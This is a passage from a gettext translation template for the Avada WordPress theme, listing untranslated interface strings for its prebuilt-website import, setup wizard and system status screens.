"Import A Prebuilt Website" msgstr "" #: includes/admin-screens/prebuilt-websites.php:63 msgid "" "Import any of the prebuilt websites below. Once done, your site will have " "the exact same look and feel as the the sites in the preview." msgstr "" #: includes/admin-screens/prebuilt-websites.php:71 #. translators: %1$s: "System Status" link. %2$s: "View more info here" link. msgid "" "Prebuilt website imports can vary in time. Please check the %1$s page to " "ensure your server meets all requirements for a successful import. Settings " "that need attention will be listed in red. %2$s." msgstr "" #: includes/admin-screens/prebuilt-websites.php:73 msgid "View more info here" msgstr "" #: includes/admin-screens/prebuilt-websites.php:115 #: includes/metaboxes/tabs/tab_avada_page_options.php:102 msgid "Warning " msgstr "" #: includes/admin-screens/prebuilt-websites.php:123 msgid "" "Avada's Prebuilt Websites Can Only Be Imported With Valid Product " "Registration" msgstr "" #: includes/admin-screens/prebuilt-websites.php:126 #. translators: "Product Registration" link. msgid "" "Please visit the %s page and enter a valid purchase code to import the full " "prebuilt websites and the single pages through the page builder." msgstr "" #: includes/admin-screens/setup.php:37 msgid "" "We recommend that you set up your website with the Avada Setup Wizard; the " "easiest way to get started." msgstr "" #: includes/admin-screens/setup.php:50 msgid "Activate Avada Plugins" msgstr "" #: includes/admin-screens/setup.php:52 msgid "" "Avada plugins are not active, it is required to activate them before " "continuing." msgstr "" #: includes/admin-screens/setup.php:54 msgid "Page will reload after plugins are activated." msgstr "" #: includes/admin-screens/setup.php:56 msgid "Activate Plugins" msgstr "" #: includes/admin-screens/setup.php:67 msgid "Select A Setup Type" msgstr "" #: includes/admin-screens/setup.php:68 msgid "Choose what sort of website you want, and also set some basic details." msgstr "" #: includes/admin-screens/setup.php:75 msgid "Prebuilt Website" msgstr "" #: includes/admin-screens/setup.php:76 msgid "" "Fully designed and prebuilt websites which you import and then edit to your " "requirements." msgstr "" #: includes/admin-screens/setup.php:80 msgid "New Website" msgstr "" #: includes/admin-screens/setup.php:81 msgid "Build a new website from scratch with the help of the Avada Setup Wizard." msgstr "" #: includes/admin-screens/setup.php:91 msgid "Site Title" msgstr "" #: includes/admin-screens/setup.php:92 msgid "Set your website title." msgstr "" #: includes/admin-screens/setup.php:101 msgid "Site Tagline" msgstr "" #: includes/admin-screens/setup.php:102 msgid "Set your website tagline." msgstr "" #: includes/admin-screens/setup.php:111 includes/admin-screens/setup.php:113 msgid "Link to dashboard" msgstr "" #: includes/admin-screens/setup.php:111 msgid "Not right now" msgstr "" #: includes/admin-screens/setup.php:113 msgid "Don't remind me again" msgstr "" #: includes/admin-screens/setup.php:124 msgid "Website Colors" msgstr "" #: includes/admin-screens/setup.php:125 msgid "" "Select your website color palette. You can filter palettes by color, " "finetune your selection, or create a custom palette." msgstr "" #: includes/admin-screens/setup.php:133 msgid "Pink" msgstr "" #: includes/admin-screens/setup.php:134 msgid "Red" msgstr "" #: includes/admin-screens/setup.php:135 msgid "Brown" msgstr "" #: includes/admin-screens/setup.php:137 msgid "Orange" msgstr "" #: includes/admin-screens/setup.php:138 msgid "Yellow" msgstr "" #: includes/admin-screens/setup.php:140 msgid "Lime" msgstr "" #: includes/admin-screens/setup.php:141 msgid "Green" msgstr "" #: includes/admin-screens/setup.php:142 msgid "Olive" msgstr "" #: includes/admin-screens/setup.php:144 msgid "Aqua" msgstr "" #: includes/admin-screens/setup.php:145 msgid "Cyan" msgstr "" #: includes/admin-screens/setup.php:146 msgid "Blue" msgstr "" #: includes/admin-screens/setup.php:147 msgid "Navy" msgstr "" #: includes/admin-screens/setup.php:148 msgid "Violet" msgstr "" #: includes/admin-screens/setup.php:149 msgid "Purple" msgstr "" #: includes/admin-screens/setup.php:150 msgid "Indigo" msgstr "" #: includes/admin-screens/setup.php:156 msgid "Custom Palette" msgstr "" #: includes/admin-screens/setup.php:167 includes/admin-screens/setup.php:404 #: includes/avada-app/panel/templates/sidebar.php:60 #: includes/avada-app/panel/templates/sidebar.php:66 #: includes/avada-app/panel/templates/tab.php:12 msgid "Back" msgstr "" #: includes/admin-screens/setup.php:170 #: includes/class-awb-performance-wizard.php:726 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:156 #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:340 #: includes/options/advanced.php:335 includes/options/forms.php:288 #: includes/options/forms.php:365 includes/options/lightbox.php:79 msgid "Light" msgstr "" #: includes/admin-screens/setup.php:171 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:157 #: includes/lib/inc/widgets/class-fusion-widget-tweets.php:341 #: includes/options/forms.php:289 includes/options/forms.php:366 #: includes/options/lightbox.php:80 msgid "Dark" msgstr "" #: includes/admin-screens/setup.php:182 msgid "Heading Title" msgstr "" #: includes/admin-screens/setup.php:183 msgid "Subheading Text" msgstr "" #: includes/admin-screens/setup.php:185 includes/admin-screens/setup.php:390 #: includes/admin-screens/setup.php:484 msgid "Sample Button" msgstr "" #: includes/admin-screens/setup.php:209 msgid "Customize" msgstr "" #: includes/admin-screens/setup.php:220 includes/admin-screens/setup.php:230 #. translators: %s: number id of a color msgid "Color %s" msgstr "" #: includes/admin-screens/setup.php:228 msgid "Color Name:" msgstr "" #: includes/admin-screens/setup.php:232 msgid "Color Code:" msgstr "" #: includes/admin-screens/setup.php:240 msgid "Accessibility Recommendations" msgstr "" #: includes/admin-screens/setup.php:242 msgid "Excellent" msgstr "" #: includes/admin-screens/setup.php:243 msgid "Acceptable" msgstr "" #: includes/admin-screens/setup.php:244 msgid "Poor" msgstr "" #: includes/admin-screens/setup.php:245 msgid "Very Poor" msgstr "" #: includes/admin-screens/setup.php:246 msgid "Bad" msgstr "" #: includes/admin-screens/setup.php:249 includes/class-awb-global-colors.php:91 msgid "Color 1" msgstr "" #: includes/admin-screens/setup.php:250 #: includes/class-awb-global-colors.php:103 msgid "Color 4" msgstr "" #: includes/admin-screens/setup.php:251 #: includes/class-awb-global-colors.php:107 msgid "Color 5" msgstr "" #: includes/admin-screens/setup.php:252 #: includes/class-awb-global-colors.php:119 msgid "Color 8" msgstr "" #: includes/admin-screens/setup.php:255 #. translators: %1$s: First color name, %2$s: second color name msgid "%1$s & %2$s - Contrast" msgstr "" #: includes/admin-screens/setup.php:256 msgid "Color Luminance Order" msgstr "" #: includes/admin-screens/setup.php:259 #. translators: %1$s: First color name, %2$s: second color name msgid "The \"%1$s\" lacks contrast with \"%2$s\"." msgstr "" #: includes/admin-screens/setup.php:261 #. translators: %1$s: First color name, %2$s: second color name msgid "The \"%1$s\" contrast with \"%2$s\" could be improved." msgstr "" #: includes/admin-screens/setup.php:263 #. translators: %s: Color name msgid "Suggest to make \"%s\" darker." msgstr "" #: includes/admin-screens/setup.php:265 #. translators: %s: Color name msgid "Suggest to make \"%s\" lighter." msgstr "" #: includes/admin-screens/setup.php:268 #. translators: %s: Color name msgid "The \"%s\" is darker than expect. Suggest to make it lighter." msgstr "" #: includes/admin-screens/setup.php:270 #. translators: %s: Color name msgid "The \"%s\" is lighter than expected. Suggest to make it darker." msgstr "" #: includes/admin-screens/setup.php:272 #. translators: %s: Color name msgid "" "The colors are not in the order of their luminance. The order breaks " "between \"%1$s\" and \"%2$s\". Suggest to modify the colors or swap them." msgstr "" #: includes/admin-screens/setup.php:377 msgid "Website Typography" msgstr "" #: includes/admin-screens/setup.php:378 msgid "Select a typography scheme for your website, and finetune it." msgstr "" #: includes/admin-screens/setup.php:386 msgid "Heading" msgstr "" #: includes/admin-screens/setup.php:387 msgid "Subheading" msgstr "" #: includes/admin-screens/setup.php:416 msgid "Base Font Size" msgstr "" #: includes/admin-screens/setup.php:417 msgid "Set the base font size. This is what the body text will use." msgstr "" #: includes/admin-screens/setup.php:429 msgid "1.067 - Minor Second" msgstr "" #: includes/admin-screens/setup.php:430 msgid "1.125 - Major Second" msgstr "" #: includes/admin-screens/setup.php:431 msgid "1.200 - Minor Third" msgstr "" #: includes/admin-screens/setup.php:432 msgid "1.250 - Major Third" msgstr "" #: includes/admin-screens/setup.php:433 msgid "1.333 - Perfect Fourth" msgstr "" #: includes/admin-screens/setup.php:434 msgid "1.414 - Augmented Fourth" msgstr "" #: includes/admin-screens/setup.php:435 msgid "1.500 - Perfect Fifth" msgstr "" #: includes/admin-screens/setup.php:436 msgid "1.618 - Golden Ratio" msgstr "" #: includes/admin-screens/setup.php:438 msgid "Select the sizing ratio to use for headings." msgstr "" #: includes/admin-screens/setup.php:447 msgid "Heading H1" msgstr "" #: includes/admin-screens/setup.php:448 includes/admin-screens/setup.php:451 #: includes/admin-screens/setup.php:454 includes/admin-screens/setup.php:457 #: includes/admin-screens/setup.php:460 includes/admin-screens/setup.php:463 #: includes/admin-screens/setup.php:468 msgid "A quick brown fox jumps over the lazy dog." msgstr "" #: includes/admin-screens/setup.php:450 msgid "Heading H2" msgstr "" #: includes/admin-screens/setup.php:453 msgid "Heading H3" msgstr "" #: includes/admin-screens/setup.php:456 msgid "Heading H4" msgstr "" #: includes/admin-screens/setup.php:459 msgid "Heading H5" msgstr "" #: includes/admin-screens/setup.php:462 msgid "Heading H6" msgstr "" #: includes/admin-screens/setup.php:467 msgid "Heading H1 with Paragraph" msgstr "" #: includes/admin-screens/setup.php:500 msgid "Website Layouts" msgstr "" #: includes/admin-screens/setup.php:501 msgid "" "Select header and footer layouts for your website. You can also add a logo " "at this stage if you have one ready." msgstr "" #: includes/admin-screens/setup.php:513 msgid "Header Layout" msgstr "" #: includes/admin-screens/setup.php:514 msgid "" "Set your website global header layout. The menu in the header will be " "generated from the pages selected in the next step, and so, any mega menus " "within the chosen Studio content will not be included." msgstr "" #: includes/admin-screens/setup.php:517 includes/admin-screens/setup.php:546 #: includes/class-avada-taxonomy-meta.php:308 #: includes/class-avada-taxonomy-meta.php:451 #: includes/lib/inc/class-fusion-images.php:1063 #: includes/lib/inc/fusion-app/helpers.php:531 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:160 #: includes/lib/inc/fusion-app/templates/options/typography.php:218 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:287 #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:1698 #: includes/metaboxes/metaboxes.php:1149 #: includes/metaboxes/tabs/tab_content.php:94 #: includes/metaboxes/tabs/tab_content.php:196 #: includes/metaboxes/tabs/tab_content.php:217 #: includes/metaboxes/tabs/tab_content.php:244 #: includes/metaboxes/tabs/tab_footer.php:45 #: includes/metaboxes/tabs/tab_footer.php:67 #: includes/metaboxes/tabs/tab_footer.php:89 #: includes/metaboxes/tabs/tab_form_general.php:74 #: includes/metaboxes/tabs/tab_form_general.php:91 #: includes/metaboxes/tabs/tab_header.php:77 #: includes/metaboxes/tabs/tab_off_canvas_design.php:202 #: includes/metaboxes/tabs/tab_page.php:53 #: includes/metaboxes/tabs/tab_page.php:89 #: includes/metaboxes/tabs/tab_page.php:110 #: includes/metaboxes/tabs/tab_page.php:133 #: includes/metaboxes/tabs/tab_page.php:203 #: includes/metaboxes/tabs/tab_pagetitlebar.php:148 #: includes/metaboxes/tabs/tab_pagetitlebar.php:165 #: includes/metaboxes/tabs/tab_pagetitlebar.php:181 #: includes/metaboxes/tabs/tab_pagetitlebar.php:195 #: includes/metaboxes/tabs/tab_pagetitlebar.php:275 #: includes/metaboxes/tabs/tab_pagetitlebar.php:344 #: includes/metaboxes/tabs/tab_pagetitlebar.php:359 #: includes/metaboxes/tabs/tab_portfolio_post.php:52 #: includes/metaboxes/tabs/tab_portfolio_post.php:66 #: includes/metaboxes/tabs/tab_portfolio_post.php:80 #: includes/metaboxes/tabs/tab_portfolio_post.php:124 #: includes/metaboxes/tabs/tab_portfolio_post.php:139 #: includes/metaboxes/tabs/tab_portfolio_post.php:183 #: includes/metaboxes/tabs/tab_portfolio_post.php:206 #: includes/metaboxes/tabs/tab_portfolio_post.php:222 #: includes/metaboxes/tabs/tab_portfolio_post.php:249 #: includes/metaboxes/tabs/tab_portfolio_post.php:272 #: includes/metaboxes/tabs/tab_portfolio_post.php:295 #: includes/metaboxes/tabs/tab_post.php:86 #: includes/metaboxes/tabs/tab_post.php:108 #: includes/metaboxes/tabs/tab_post.php:147 #: includes/metaboxes/tabs/tab_post.php:162 #: includes/metaboxes/tabs/tab_post.php:185 #: includes/metaboxes/tabs/tab_post.php:208 #: includes/metaboxes/tabs/tab_post.php:231 #: includes/metaboxes/tabs/tab_sidebars.php:249 #: includes/metaboxes/tabs/tab_sidebars.php:324 #: includes/metaboxes/tabs/tab_sliders.php:166 #: includes/metaboxes/tabs/tab_sliders.php:187 #: includes/metaboxes/tabs/tab_template.php:245 #: includes/options/performance.php:313 msgid "Default" msgstr "" #: includes/admin-screens/setup.php:518 msgid "Select Header" msgstr "" #: includes/admin-screens/setup.php:530 #: includes/lib/inc/fusion-app/helpers.php:598 includes/options/logo.php:32 #: includes/options/logo.php:40 templates/logo.php:60 msgid "Logo" msgstr "" #: includes/admin-screens/setup.php:531 msgid "" "Select an image to be used as the logo. If no image is selected a text logo " "will be used." msgstr "" #: includes/admin-screens/setup.php:542 msgid "Footer Layout" msgstr "" #: includes/admin-screens/setup.php:543 msgid "Set your website global footer layout." msgstr "" #: includes/admin-screens/setup.php:547 msgid "Select Footer" msgstr "" #: includes/admin-screens/setup.php:568 msgid "Website Content" msgstr "" #: includes/admin-screens/setup.php:569 msgid "" "Select pages (incl. content without images) and additional features to be " "added to your website." msgstr "" #: includes/admin-screens/setup.php:578 msgid "Import Dummy Content" msgstr "" #: includes/admin-screens/setup.php:587 msgid "" "Recommended. This will create dummy blog posts, portfolio posts, and " "WooCommerce products to populate the feature layouts if selected." msgstr "" #: includes/admin-screens/setup.php:593 #: includes/lib/inc/class-fusion-breadcrumbs.php:166 msgid "Home" msgstr "" #: includes/admin-screens/setup.php:599 msgid "About" msgstr "" #: includes/admin-screens/setup.php:605 includes/options/blog.php:92 #: includes/options/blog.php:1177 msgid "Blog" msgstr "" #: includes/admin-screens/setup.php:610 msgid "Blog Title Bar" msgstr "" #: includes/admin-screens/setup.php:614 msgid "Archives Title Bar" msgstr "" #: includes/admin-screens/setup.php:618 includes/options/blog.php:726 msgid "Blog Single Post" msgstr "" #: includes/admin-screens/setup.php:622 includes/admin-screens/setup.php:643 #: includes/options/sidebars.php:415 msgid "Blog Archive" msgstr "" #: includes/admin-screens/setup.php:628 msgid "Single Blog Post" msgstr "" #: includes/admin-screens/setup.php:698 includes/admin-screens/setup.php:915 #: includes/metaboxes/metaboxes.php:673 #: includes/metaboxes/tabs/tab_portfolio_post.php:21 #: includes/options/portfolio.php:38 msgid "Portfolio" msgstr "" #: includes/admin-screens/setup.php:704 msgid "Portfolio Single Content" msgstr "" #: includes/admin-screens/setup.php:708 msgid "Portfolio Archive Content" msgstr "" #: includes/admin-screens/setup.php:714 msgid "Portfolio Single" msgstr "" #: includes/admin-screens/setup.php:728 includes/options/sidebars.php:291 msgid "Portfolio Archive" msgstr "" #: includes/admin-screens/setup.php:764 includes/admin-screens/setup.php:893 msgid "Shop" msgstr "" #: includes/admin-screens/setup.php:772 msgid "Product Single Content" msgstr "" #: includes/admin-screens/setup.php:776 msgid "Products Archive Content" msgstr "" #: includes/admin-screens/setup.php:780 includes/admin-screens/setup.php:821 msgid "Thank You Page" msgstr "" #: includes/admin-screens/setup.php:786 msgid "Product Single" msgstr "" #: includes/admin-screens/setup.php:800 msgid "Products Archive" msgstr "" #: includes/admin-screens/setup.php:838 msgid "Services" msgstr "" #. Template Name of the plugin/theme msgid "Contact" msgstr "" #: includes/admin-screens/setup.php:851 msgid "Reviews" msgstr "" #: includes/admin-screens/setup.php:889 msgid "Features To Activate" msgstr "" #: includes/admin-screens/setup.php:901 includes/avada-functions.php:1953 msgid "Forum" msgstr "" #: includes/admin-screens/setup.php:905 includes/avada-functions.php:1935 #: includes/class-avada-admin-bar.php:75 includes/options/forms.php:35 msgid "Forms" msgstr "" #: includes/admin-screens/setup.php:910 includes/class-avada-admin-bar.php:69 #: includes/class-avada-megamenu-framework.php:521 #: includes/lib/inc/fusion-app/class-fusion-app.php:1044 #: includes/metaboxes/tabs/tab_form_submission.php:211 #: includes/options/typography.php:331 msgid "Off Canvas" msgstr "" #: includes/admin-screens/setup.php:920 includes/class-avada-admin.php:409 #: includes/class-avada-admin.php:640 #: includes/class-awb-maintenance-mode.php:147 #: includes/options/maintenance.php:35 msgid "Maintenance Mode" msgstr "" #: includes/admin-screens/setup.php:925 msgid "Custom Branding" msgstr "" #: includes/admin-screens/setup.php:929 msgid "Live Chat" msgstr "" #: includes/admin-screens/setup.php:933 msgid "Dev Tools" msgstr "" #: includes/admin-screens/setup.php:937 msgid "Media Management" msgstr "" #: includes/admin-screens/setup.php:991 includes/admin-screens/setup.php:1093 msgid "Your Website Is Almost Ready" msgstr "" #: includes/admin-screens/setup.php:992 includes/admin-screens/setup.php:1094 msgid "" "Click to complete the setup and your website will be set up. Please note, " "global options and previous setup wizard install content will be replaced " "or no longer be used." msgstr "" #: includes/admin-screens/setup.php:993 msgid "Confirm Setup" msgstr "" #: includes/admin-screens/setup.php:998 includes/admin-screens/setup.php:1103 msgid "Complete Setup" msgstr "" #: includes/admin-screens/setup.php:1000 includes/admin-screens/setup.php:1025 #: includes/avada-app/fusion-panel.php:144 #: includes/avada-app/panel/templates/sidebar.php:31 includes/bootstrap.php:699 #: includes/class-avada-admin-bar.php:61 includes/class-avada-admin.php:596 #: includes/class-avada-megamenu-framework.php:218 #: includes/class-avada-megamenu-framework.php:586 #: includes/lib/inc/class-fusion-featured-image.php:168 #: includes/lib/inc/fusion-app/templates/modal-dialog-more.php:34 msgid "Global Options" msgstr "" #: includes/admin-screens/setup.php:1001 msgid "Pages & Dummy Content" msgstr "" #: includes/admin-screens/setup.php:1002 includes/admin-screens/setup.php:1023 #: includes/avada-functions.php:1923 includes/class-avada-admin-bar.php:66 #: includes/class-awb-setup-wizard.php:1435 msgid "Layouts" msgstr "" #: includes/admin-screens/setup.php:1003 msgid "Finalise Setup" msgstr "" #: includes/admin-screens/setup.php:1013 #. translators: %s: user name msgid "Congrats, %s!" msgstr "" #: includes/admin-screens/setup.php:1014 msgid "" "The Setup Wizard has successfully set up your website. Edit your site, and " "explore major features and support areas from the links below." msgstr "" #: includes/admin-screens/setup.php:1015 msgid "Launch Live Builder" msgstr "" #: includes/admin-screens/setup.php:1016 msgid "Or visit site" msgstr "" #: includes/admin-screens/setup.php:1021 msgid "Customize Your Website" msgstr "" #: includes/admin-screens/setup.php:1023 msgid "View and manage your layouts." msgstr "" #: includes/admin-screens/setup.php:1024 includes/options/typography.php:328 msgid "Menus" msgstr "" #: includes/admin-screens/setup.php:1024 msgid "Edit and create website menus." msgstr "" #: includes/admin-screens/setup.php:1025 msgid "Colors, typography and more." msgstr "" #: includes/admin-screens/setup.php:1026 msgid "Coming Soon Mode" msgstr "" #: includes/admin-screens/setup.php:1026 msgid "Manage Coming Soon mode." msgstr "" #: includes/admin-screens/setup.php:1027 #: includes/avada-app/class-fusion-panel.php:1735 #: includes/avada-functions.php:1905 #: includes/lib/inc/class-fusion-fusionredux.php:250 #: includes/options/sidebars.php:198 msgid "Pages" msgstr "" #: includes/admin-screens/setup.php:1027 msgid "Edit the pages of your website." msgstr "" #: includes/admin-screens/setup.php:1028 #: includes/lib/inc/fusion-app/helpers.php:299 includes/options/advanced.php:92 msgid "Avada Studio" msgstr "" #: includes/admin-screens/setup.php:1028 msgid "Add content to your site." msgstr "" #: includes/admin-screens/setup.php:1031 msgid "" "Create a support account in order to submit tickets and manage your " "licenses." msgstr "" #: includes/admin-screens/setup.php:1032 msgid "Create My Avada Account" msgstr "" #: includes/admin-screens/setup.php:1034 msgid "We Are Here To Help" msgstr "" #: includes/admin-screens/setup.php:1036 includes/admin-screens/support.php:53 #: includes/admin-screens/support.php:59 includes/class-avada-admin.php:753 #: includes/class-awb-setup-wizard.php:1421 msgid "Documentation" msgstr "" #: includes/admin-screens/setup.php:1036 msgid "Read our extensive docs" msgstr "" #: includes/admin-screens/setup.php:1037 includes/admin-screens/support.php:81 #: includes/class-avada-admin.php:756 msgid "Video Tutorials" msgstr "" #: includes/admin-screens/setup.php:1037 msgid "Join our YouTube channel." msgstr "" #: includes/admin-screens/setup.php:1038 msgid "Submit a Ticket" msgstr "" #: includes/admin-screens/setup.php:1038 msgid "Ask our support team." msgstr "" #: includes/admin-screens/setup.php:1048 #: includes/class-awb-setup-wizard.php:1442 msgid "Select A Website" msgstr "" #: includes/admin-screens/setup.php:1049 msgid "Select a prebuilt website to import." msgstr "" #: includes/admin-screens/setup.php:1108 msgid "Activate Maintenance Mode" msgstr "" #: includes/admin-screens/status.php:22 msgid "" "On this page you can see your Avada version history, run conversions and " "see details regarding your site environment." msgstr "" #: includes/admin-screens/status.php:28 msgid "" "Click the button below to produce a system status report. Add this " "information to support tickets if you are experiencing technical issues." msgstr "" #: includes/admin-screens/status.php:32 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:48 msgid "Get System Report" msgstr "" #: includes/admin-screens/status.php:38 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:62 msgid "Copied!" msgstr "" #: includes/admin-screens/status.php:38 msgid "Copy For Support" msgstr "" #: includes/admin-screens/status.php:43 msgid "Avada Version History" msgstr "" #: includes/admin-screens/status.php:47 msgid "Current Version:" msgstr "" #: includes/admin-screens/status.php:52 msgid "Previous Versions:" msgstr "" #: includes/admin-screens/status.php:57 msgid "No previous versions could be detected" msgstr "" #: includes/admin-screens/status.php:121 msgid "Avada Setup & Update Tools" msgstr "" #: includes/admin-screens/status.php:128 #. translators: Version Number. msgid "Avada %s Conversion" msgstr "" #: includes/admin-screens/status.php:129 includes/class-avada-admin.php:673 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:314 msgid "Changelog" msgstr "" #: includes/admin-screens/status.php:138 #. Translators: %s: The version number. msgid "Rerun Global Options Conversion for version %s manually." msgstr "" #: includes/admin-screens/status.php:143 includes/admin-screens/status.php:287 #: includes/admin-screens/status.php:307 msgid "Run Conversion" msgstr "" #: includes/admin-screens/status.php:155 msgid "Avada Setup Wizard" msgstr "" #: includes/admin-screens/status.php:162 msgid "Run the Avada Setup Wizard." msgstr "" #: includes/admin-screens/status.php:164 #: includes/class-awb-setup-wizard.php:1418 msgid "Setup Wizard" msgstr "" #: includes/admin-screens/status.php:177 includes/options/advanced.php:585 msgid "Avada Forms" msgstr "" #: includes/admin-screens/status.php:185 msgid "Recreate the Avada Forms database tables." msgstr "" #: includes/admin-screens/status.php:187 msgid "Create Tables" msgstr "" #: includes/admin-screens/status.php:203 msgid "Copy Multisite Global Options" msgstr "" #: includes/admin-screens/status.php:210 msgid "Copy the main site global options to all sites across this multisite." msgstr "" #: includes/admin-screens/status.php:212 includes/admin-screens/status.php:246 msgid "WARNING: This can't be reversed." msgstr "" #: includes/admin-screens/status.php:214 msgid "Are you sure you want to copy Avada Global Options across the multisite?" msgstr "" #: includes/admin-screens/status.php:214 msgid "Copy Global Options" msgstr "" #: includes/admin-screens/status.php:229 msgid "Convert Image Formats" msgstr "" #: includes/admin-screens/status.php:243 msgid "" "Convert all compatible image attachments (*.jpeg, *.jpg, *.png) in the " "media library to webP or AVIF format. Before running this conversion, " "please set your preferred format in Global Options:" msgstr "" #: includes/admin-screens/status.php:244 includes/options/performance.php:306 msgid "Upload Image Format" msgstr "" #: includes/admin-screens/status.php:248 msgid "Converting images:" msgstr "" #: includes/admin-screens/status.php:248 msgid "of" msgstr "" #: includes/admin-screens/status.php:248 msgid "Conversion complete! Images processed:" msgstr "" #: includes/admin-screens/status.php:248 msgid "%s images can be converted." msgstr "" #: includes/admin-screens/status.php:253 msgid "Are you sure you want to convert all image attachments in the media library?" msgstr "" #: includes/admin-screens/status.php:253 msgid "Convert Images" msgstr "" #: includes/admin-screens/status.php:262 msgid "Legacy Conversion Tools" msgstr "" #: includes/admin-screens/status.php:266 #. translators: URL. msgid "" "IMPORTANT: Updating to Avada 4.0 and " "5.0 requires a conversion process to ensure your content is compatible with " "the new version. This is an automatic process that happens upon update. In " "rare situations, you may need to rerun conversion if there was an issue " "through the automatic process. The controls below allow you to do this if " "needed. Please contact our support " "team through a ticket if you have any questions or need assistance." msgstr "" #: includes/admin-screens/status.php:275 includes/admin-screens/status.php:294 #. translators: Version Number. msgid "Previous Version" msgstr "" #: includes/admin-screens/status.php:275 includes/admin-screens/status.php:294 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/about.php:8 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/changelog.php:10 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/credits.php:10 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/extensions.php:81 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:34 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:8 msgid "Version %s" msgstr "" #: includes/admin-screens/status.php:279 msgid "Avada 4.0 Conversion:" msgstr "" #: includes/admin-screens/status.php:286 #. translators: Version Number. msgid "Rerun Global Options Conversion from version %s to version 4.0 manually." msgstr "" #: includes/admin-screens/status.php:298 msgid "Avada 5.0 Conversion:" msgstr "" #: includes/admin-screens/status.php:306 #. translators: Version Number. msgid "Rerun Shortcode Conversion from version %s to version 5.0 manually." msgstr "" #: includes/admin-screens/status.php:319 msgid "Revert Avada Builder Conversion." msgstr "" #: includes/admin-screens/status.php:320 msgid "Revert Conversion" msgstr "" #: includes/admin-screens/status.php:330 msgid "" "The backups cleanup process has been scheduled and your the version 5.0 " "conversion backups will be purged from your database." msgstr "" #: includes/admin-screens/status.php:368 #. translators: Numbers. msgid "Currently removing backups from your database (step %1$s of %2$s)" msgstr "" #: includes/admin-screens/status.php:371 msgid "" "Remove Shortcode Conversion Backups created during the version 5.0 " "conversion." msgstr "" #: includes/admin-screens/status.php:376 msgid "Remove Backups" msgstr "" #: includes/admin-screens/status.php:391 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:73 msgid "WordPress Environment" msgstr "" #: includes/admin-screens/status.php:396 msgid "Home URL:" msgstr "" #: includes/admin-screens/status.php:397 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:83 msgid "The URL of your site's homepage." msgstr "" #: includes/admin-screens/status.php:401 msgid "Site URL:" msgstr "" #: includes/admin-screens/status.php:402 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:92 msgid "The root URL of your site." msgstr "" #: includes/admin-screens/status.php:406 msgid "WP Content Path:" msgstr "" #: includes/admin-screens/status.php:407 msgid "System path of your wp-content directory." msgstr "" #: includes/admin-screens/status.php:408 includes/admin-screens/status.php:413 #: templates/wc-view-order.php:208 templates/wc-view-order.php:221 msgid "N/A" msgstr "" #: includes/admin-screens/status.php:411 msgid "WP Path:" msgstr "" #: includes/admin-screens/status.php:412 msgid "System path of your WP root directory." msgstr "" #: includes/admin-screens/status.php:416 msgid "WP Version:" msgstr "" #: includes/admin-screens/status.php:417 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:140 msgid "The version of WordPress installed on your site." msgstr "" #: includes/admin-screens/status.php:421 msgid "WP Multisite:" msgstr "" #: includes/admin-screens/status.php:422 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:151 msgid "Whether or not you have WordPress Multisite enabled." msgstr "" #: includes/admin-screens/status.php:426 msgid "PHP Memory Limit:" msgstr "" #: includes/admin-screens/status.php:427 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:213 msgid "The maximum amount of memory (RAM) that your site can use at one time." msgstr "" #: includes/admin-screens/status.php:444 #. translators: %1$s: Current value. %2$s: URL. msgid "" "%1$s - We recommend setting memory to at least 128MB. " "Please define memory limit in wp-config.php file. To learn " "how, see: Increasing memory allocated to PHP." msgstr "" #: includes/admin-screens/status.php:454 msgid "WP Debug Mode:" msgstr "" #: includes/admin-screens/status.php:455 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:243 msgid "Displays whether or not WordPress is in Debug Mode." msgstr "" #: includes/admin-screens/status.php:465 msgid "Language:" msgstr "" #: includes/admin-screens/status.php:466 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:258 msgid "The current language used by WordPress. Default = English" msgstr "" #: includes/admin-screens/status.php:474 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:297 msgid "Server Environment" msgstr "" #: includes/admin-screens/status.php:479 msgid "Server Info:" msgstr "" #: includes/admin-screens/status.php:480 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:307 msgid "Information about the web server that is currently hosting your site." msgstr "" #: includes/admin-screens/status.php:481 includes/class-awb-site-data.php:156 msgid "Unknown" msgstr "" #: includes/admin-screens/status.php:484 msgid "PHP Version:" msgstr "" #: includes/admin-screens/status.php:485 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:335 msgid "The version of PHP installed on your hosting server." msgstr "" #: includes/admin-screens/status.php:495 msgid "PHP Version could not be detected." msgstr "" #: includes/admin-screens/status.php:502 #. translators: %1$s: Current PHP version. %2$s: Recommended PHP version. %3$s: #. "WordPress Requirements" link. msgid "%1$s. WordPress recommendation: %2$s or above. See %3$s for details." msgstr "" #: includes/admin-screens/status.php:505 msgid "WordPress Requirements" msgstr "" #: includes/admin-screens/status.php:515 msgid "PHP Post Max Size:" msgstr "" #: includes/admin-screens/status.php:516 msgid "The largest file size that can be contained in one post." msgstr "" #: includes/admin-screens/status.php:520 msgid "PHP Time Limit:" msgstr "" #: includes/admin-screens/status.php:521 #: 